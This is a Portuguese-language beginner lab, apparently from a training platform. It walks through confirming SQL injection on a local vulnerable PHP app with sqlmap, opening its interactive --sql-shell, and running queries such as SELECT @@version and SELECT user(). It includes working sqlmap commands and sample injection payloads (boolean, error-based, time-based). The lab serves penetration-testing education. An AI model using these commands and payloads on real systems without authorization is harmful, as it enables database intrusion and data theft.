Use o Shell SQL Interativo no sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você explorará um dos recursos mais poderosos do sqlmap: o shell SQL interativo. O sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a tomada de controle de servidores de banco de dados.

Embora o sqlmap possa automatizar a extração de dados, a opção --sql-shell fornece acesso direto e interativo ao banco de dados de backend. Isso permite que você execute consultas SQL personalizadas, proporcionando maior flexibilidade e controle durante um teste de penetração. Você aprenderá como estabelecer uma injeção, iniciar o shell e executar comandos para interrogar o banco de dados.

Estabelecer uma Injeção Bem-Sucedida em um Alvo

Nesta etapa, você usará o sqlmap para escanear uma aplicação web e confirmar que ela é vulnerável à injeção de SQL. Nosso script de configuração já criou uma aplicação PHP simples e vulnerável rodando no servidor Apache local. Precisamos apontar o sqlmap para a URL do alvo e deixá-lo realizar a análise inicial.

Primeiro, execute o seguinte comando sqlmap no seu terminal. Usamos o flag -u para especificar a URL do alvo e --batch para rodar em modo não interativo, aceitando todas as respostas padrão.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

O sqlmap realizará uma série de testes. Aguarde a conclusão. A saída mostrará que o parâmetro GET id é vulnerável. Esta confirmação é o primeiro passo necessário antes de podermos prosseguir para a exploração.

Você deverá ver uma saída semelhante a esta, confirmando a vulnerabilidade:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

Iniciar o Shell SQL Interativo com --sql-shell

Nesta etapa, você usará a opção --sql-shell para obter um prompt SQL interativo no banco de dados alvo. Agora que você confirmou o ponto de injeção, pode instruir o sqlmap a fornecer acesso direto.

Execute o mesmo comando sqlmap de antes, mas desta vez, substitua a opção --batch por --sql-shell.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

O sqlmap reconfirmará a injeção e, em seguida, apresentará um prompt especial: sql-shell>. Isso indica que você está agora em uma sessão interativa com o banco de dados de backend. Qualquer consulta SQL válida para o DBMS alvo (que sabemos ser MySQL) pode ser executada a partir deste prompt.

A saída será semelhante a esta:

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Executar uma Consulta SQL Personalizada como SELECT @@version

Nesta etapa, você executará seu primeiro comando no shell SQL interativo. Isso demonstrará sua capacidade de consultar diretamente o banco de dados. Uma consulta comum inicial é verificar a versão do banco de dados.

No prompt sql-shell>, digite a seguinte consulta SQL e pressione Enter. Lembre-se de incluir o ponto e vírgula no final.

SELECT @@version;

O sqlmap pegará sua consulta, a injetará no parâmetro vulnerável, a enviará ao servidor e retornará o resultado para você. A variável @@version no MySQL retorna uma string contendo a versão do servidor de banco de dados.

Você verá a versão do banco de dados impressa diretamente no seu console:

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

Executar Outra Consulta Personalizada como SELECT user()

Nesta etapa, você executará outra consulta para explorar ainda mais o banco de dados. Isso reforça o conceito de controle interativo. Vamos descobrir qual usuário de banco de dados a aplicação web está usando para se conectar ao banco de dados.

No prompt sql-shell>, digite a consulta SELECT user() e pressione Enter.

SELECT user();

Este comando solicita ao banco de dados que retorne o nome de usuário e o host da sessão atual. Esta é uma informação valiosa para entender o nível de privilégio da sua injeção.

A saída mostrará o usuário do banco de dados, que configuramos no script de configuração:

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

Sair do Shell SQL Interativo e Retornar ao Terminal

Nesta etapa final, você aprenderá como sair corretamente do shell SQL interativo e retornar ao seu prompt de terminal padrão.

Para sair do sql-shell>, basta digitar exit ou quit e pressionar Enter.

exit

O sqlmap fechará a sessão e o retornará ao diretório ~/project no seu terminal Zsh. Isso conclui a sessão interativa com o banco de dados.

A saída confirmará que a sessão está terminando:

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

Agora você utilizou com sucesso o shell interativo do sqlmap para executar consultas personalizadas e retornou à sua linha de comando regular.

Resumo

Neste laboratório, você aprendeu com sucesso a usar um dos recursos mais poderosos do sqlmap, o shell SQL interativo.

Você começou identificando uma vulnerabilidade de injeção de SQL em uma aplicação alvo usando um scan básico do sqlmap. Em seguida, você explorou essa vulnerabilidade iniciando uma sessão interativa com o flag --sql-shell. Dentro deste shell, você executou consultas SQL personalizadas como SELECT @@version; e SELECT user(); para interrogar diretamente o banco de dados e recuperar informações. Finalmente, você aprendeu como sair do shell e retornar ao seu terminal. Esta habilidade é essencial para qualquer testador de penetração que precise de controle granular sobre um banco de dados comprometido.